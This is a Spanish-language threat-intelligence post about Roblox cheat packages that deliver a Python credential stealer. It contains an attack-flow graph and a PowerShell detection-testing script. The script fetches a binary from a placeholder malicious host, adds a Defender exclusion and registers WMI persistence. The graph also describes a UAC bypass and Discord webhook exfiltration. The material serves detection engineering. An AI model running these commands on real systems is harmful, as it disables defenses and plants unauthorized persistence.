SOC Prime Bias: Medio

08 Jun 2026 19:55 UTC

Trucos de Roblox Impulsados por IA Entregan el Stealer Yuta/Solara

Author Photo
SOC Prime Team linkedin icon Seguir
Trucos de Roblox Impulsados por IA Entregan el Stealer Yuta/Solara
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Un paquete de trampas malicioso para Roblox combina una interfaz .NET con troyano y un ladrón de Python empaquetado a través de PyInstaller. El cargador inicial debilita las protecciones de Microsoft Defender, recupera una carga útil de segunda etapa desde MediaFire y lanza malware derivado de Glove Stealer para recopilar credenciales, cookies, archivos de billetera y activos relacionados con juegos. Luego, los datos robados se exfiltran a través de webhooks de Discord encriptados y son respaldados por un bot RAT persistente de Discord.

Investigación

El informe proporciona un análisis estático en profundidad del malware, incluida la extracción de la carga útil de PyInstaller, descompilación del código de bytes de Python 3.12 y el mapeo del flujo de trabajo de robo de credenciales. También describe la cadena completa de ejecución multietapa, los métodos de evasión de defensa utilizados por los operadores y el enfoque de omisión de cinco capas dirigido a las protecciones de cifrado enlazadas a la aplicación de Chrome.

Mitigación

Las organizaciones deben bloquear la ejecución de binarios desconocidos no firmados, aplicar una lista estricta de aplicaciones permitidas, monitorear los cambios en las exclusiones de Defender y el uso sospechoso de PowerShell, y detectar descargas inusuales de datos de configuración desde Pastebin. El tráfico de webhooks de Discord debe ser restringido o monitoreado de cerca, y los defensores deben vigilar los lanzamientos anormales de Chrome que utilizan banderas relacionadas con el depurador.

Respuesta

Los equipos de seguridad deben alertar sobre la creación de winupdate.exe en el caché de AppData, modificaciones sospechosas de claves Run del registro, creación de tareas programadas y actividad inusual en canales de Discord. Los archivos maliciosos deben ser puestos en cuarentena, se deben eliminar las exclusiones no autorizadas de Defender y se debe realizar una recolección forense en cualquier almacenamiento de credenciales que pueda haber sido cosechado.

"graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef process fill:#bbffbb classDef persistence fill:#ff99cc %% Node definitions action_user_execution["<b>Acción</b> – <b>T1204.002 Ejecución del Usuario</b><br/>La víctima ejecuta un ejecutor WPF troyanizado disfrazado como una herramienta de trampas para Roblox."] class action_user_execution action technique_impair_defenses["<b>Técnica</b> – <b>T1562.001 Disminución de Defensas: Deshabilitar o Modificar Herramientas</b><br/>Agrega el directorio actual a la lista de exclusiones de Windows Defender mediante PowerShell y parchea funciones AMSI/ETW."] class technique_impair_defenses technique tool_powershell["<b>Herramienta</b><br/>Script de PowerShell utilizado para modificar exclusiones de Defender y parchear AMSI/ETW."] class tool_powershell tool technique_bypass_uac["<b>Técnica</b> – <b>T1548.002 Abuso de Control de Elevación: Omitir UAC</b><br/>Secuestra HKCUSoftwareClassesms-settingsShellOpencommand y lanza fodhelper.exe/computerdefaults.exe para obtener ejecución con alta integridad."] class technique_bypass_uac technique tool_fodhelper["<b>Herramienta</b><br/>fodhelper.exe utilizado para omitir UAC."] class tool_fodhelper tool technique_dead_drop["<b>Técnica</b> – <b>T1102.001 Servicio Web: Resolver Dead Drop</b><br/>Recupera configuración cifrada XOR desde URL de Pastebin y resuelve el enlace de descarga de MediaFire."] class technique_dead_drop technique technique_ingress_tool["<b>Técnica</b> – <b>T1105 Transferencia de Herramienta de Ingreso</b><br/>Descarga un ladrón de Python empaquetado con PyInstaller (winupdate.exe) desde MediaFire y lo almacena en %APPDATA%.cachewinupdate.exe con atributos ocultos del sistema."] class technique_ingress_tool technique process_secondary_payload["<b>Proceso</b><br/>winupdate.exe (ladrón de Python)"] class process_secondary_payload process technique_cred_browser["<b>Técnica</b> – <b>T1555.003 Credenciales de Navegadores Web</b><br/>Omisión de cifrado enlazado a la aplicación de Chrome en varias etapas (punto de interrupción de depurador, elevación COM, doble DPAPI, inyección de DLL, secuestro de registro de UAC) para obtener cookies, tokens y contraseñas descifrados."] class technique_cred_browser technique technique_keylogging["<b>Técnica</b> – <b>T1056.001 Captura de Entrada: Registro de teclas</b><br/>Instala un gancho de baja nivel WH_KEYBOARD_LL para capturar pulsaciones de teclas."] class technique_keylogging technique technique_archive["<b>Técnica</b> – <b>T1560.003 Archivo por Método Personalizado</b><br/>Empaqueta archivos robados en un ZIP en memoria, dividido en fragmentos de u226425 MB."] class technique_archive technique technique_exfiltration["<b>Técnica</b> – <b>T1041 Exfiltración Sobre Canal C2</b><br/>Envía fragmentos ZIP a una URL de webhook de Discord."] class technique_exfiltration technique tool_discord_webhook["<b>Herramienta</b><br/>Webhook de Discord utilizado para la exfiltración de datos."] class tool_discord_webhook tool technique_discord_rath["<b>Técnica</b> – <b>Discord Bot RAT</b><br/>Utiliza token de bot de Discord descifrado y ID de canal para recibir comandos remotos (shell, cámara web, traza, etc.)."] class technique_discord_rath technique technique_persistence["<b>Técnica</b> – <b>T1547.001 Ejecución de Inicio Automático de Arranque/Inicio de Sesión</b><br/>Crea tarea programada, clave de ejecución HKCU, script de inicio VBS, secuestro de COM, entrada de perfil de PowerShell y suscripción de evento WMI para volver a lanzar la carga útil después del reinicio."] class technique_persistence persistence technique_dynamic_resolution["<b>Técnica</b> – <b>T1568 Resolución Dinámica</b><br/>Recupera periódicamente la configuración de Pastebin para adaptar los puntos finales C2."] class technique_dynamic_resolution technique %% Connections action_user_execution –>|dispara| technique_impair_defenses technique_impair_defenses –>|utiliza| tool_powershell technique_impair_defenses –>|habilita| technique_bypass_uac technique_bypass_uac –>|utiliza| tool_fodhelper technique_bypass_uac –>|lleva a| technique_dead_drop technique_dead_drop –>|recupera| technique_ingress_tool technique_ingress_tool –>|almacena y ejecuta| process_secondary_payload process_secondary_payload –>|ejecuta| technique_cred_browser process_secondary_payload –>|ejecuta| technique_keylogging process_secondary_payload –>|recopila datos para| technique_archive technique_archive –>|prepara datos para| technique_exfiltration technique_exfiltration –>|envía a| tool_discord_webhook tool_discord_webhook –>|alimenta| technique_discord_rath technique_discord_rath –>|mantiene canal de comando para| technique_persistence technique_persistence –>|establece| persistence_mechanisms persistence_mechanisms["<b>Proceso</b><br/>Tarea programada / Clave de ejecución / VBS / secuestro de COM / perfil de PowerShell / evento WMI"] class persistence_mechanisms process technique_persistence –>|soporta| technique_dynamic_resolution technique_dynamic_resolution –>|actualiza| technique_dead_drop "

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Revisión de Telemetría y Línea Base Pre‑Vuelo debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y buscan generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:

    1. Transferencia de Herramienta de Ingreso (T1105): El atacante descarga el ejecutor malicioso de Roblox (SLaunch.exe) desde un servidor web comprometido.
    2. Ejecución con Manipulación de Defender (T1548.002): Usando PowerShell, el atacante ejecuta SLaunch.exe con una línea de comando que invoca Add-MpPreference -ExclusionPath "C:Roblox" para listar en blanco la carpeta de instalación de Roblox, evitando que Windows Defender escanee la carga útil inyectada.
    3. Persistencia (T1546.003 / T1547.001): Se crea una suscripción de evento WMI para volver a lanzar SLaunch.exe en el arranque del sistema.
    4. Recolección de Credenciales (T1056.001, T1555.003): Mientras el inyector está corriendo, captura pulsaciones de teclas y extrae credenciales guardadas de Roblox desde los almacenes del navegador.
  • Script de Prueba de Regresión: El siguiente script de PowerShell reproduce los pasos 2–3 y genera la telemetría que la regla Sigma espera.

    # ------------------------------------------------------------
    # Ejecución del Inyector de Roblox + Exclusión de Defender (Script TC)
    # ------------------------------------------------------------
    
    # Rutas (ajustar según sea necesario)
    $injectorPath = "C:TempSLaunch.exe"
    $defenderExcl = "C:Roblox"
    
    # 1. Asegurarse de que el inyector exista (descargar marcador de posición)
    if (-Not (Test-Path $injectorPath)) {
        Write-Host "Descargando inyector malicioso..."
        Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath
    }
    
    # 2. Ejecutar inyector con línea de comando de exclusión de Defender
    $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`""
    Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow
    
    # 3. Crear una suscripción de evento permanente WMI para persistencia
    $wmiFilter = @"
    SELECT * FROM __InstanceCreationEvent
    WITHIN 60
    WHERE TargetInstance ISA 'Win32_Process' 
    AND TargetInstance.Name = 'SLaunch.exe'
    "@
    
    $filterPath = "ROOTDEFAULT"
    $filterName = "RobloxInjectorFilter"
    $consumerName = "RobloxInjectorConsumer"
    
    # Registrar filtro
    $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter `
        -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' }
    
    # Registrar consumidor de línea de comando
    $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer `
        -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" }
    
    # Vincular filtro al consumidor
    Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding `
        -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH }
    
    Write-Host "Simulación completa - la telemetría de detección debería haberse generado."
  • Comandos de Limpieza: Remover la exclusión de Defender y la suscripción WMI creada anteriormente.

    # Remover exclusión de Defender
    Remove-MpPreference -ExclusionPath "C:Roblox"
    
    # Eliminar filtro y consumidor de WMI
    $filterPath = "ROOTDEFAULT"
    Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject
    Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject
    Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding `
        -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject
    
    # Eliminar el binario del inyector
    Remove-Item -Path "C:TempSLaunch.exe" -Force